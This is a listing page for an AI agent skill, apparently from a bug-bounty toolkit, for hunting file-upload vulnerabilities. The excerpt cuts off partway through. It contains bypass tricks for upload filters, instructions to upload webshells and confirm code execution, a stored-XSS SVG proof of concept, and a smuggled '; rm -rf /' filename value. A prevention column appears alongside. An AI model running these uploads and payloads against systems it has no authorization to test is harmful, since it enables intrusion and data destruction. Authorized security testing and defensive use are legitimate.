Tooluck logoTooluck
SKILL.md

hunt-file-upload

Agent skill fromelementalsouls/Claude-BugHunter

Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.

How to install hunt-file-upload

install hunt-file-upload
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter

# or add only this skill to Claude Code: copy the folder

skills/hunt-file-upload/

# into

~/.claude/skills/hunt-file-upload/ (all projects)

.claude/skills/hunt-file-upload/ (one project)

skills/hunt-file-upload/SKILL.md

MITFull file
1## 9. FILE UPLOAD
2
3### Content-Type Bypass
4```
5filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
6filename=shell.phtml, shell.pHp, shell.php5 → extension variants
7```
8
9### File Upload Bypass Techniques (10 techniques)
10
11| Attack | How | Prevention |
12|---|---|---|
13| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |
14| Null byte | `shell.php%00.jpg` | Sanitize null bytes |
15| Double extension | `shell.jpg.php` | Only allow single extension |
16| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
17| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |
18| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
19| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |
20| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
21| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |
22| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
23
24### Magic Bytes Reference
25
26| Type | Hex |
27|---|---|
28| JPEG | `FF D8 FF` |
29| PNG | `89 50 4E 47 0D 0A 1A 0A` |
30| GIF | `47 49 46 38` |
31| PDF | `25 50 44 46` |
32| ZIP/DOCX/XLSX | `50 4B 03 04` |
33
34### Stored XSS via SVG
35```xml
36<?xml version="1.0"?>
37<svg xmlns="http://www.w3.org/2000/svg">
38 <script>alert(document.domain)</script>
39</svg>
40```
41
42---
43
44## ImageMagick / FFmpeg Exploitation
45…

Excerpt shown under the repository's MIT license.

More skills in Claude-BugHunter

Keep exploring

Similar skill repositories

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates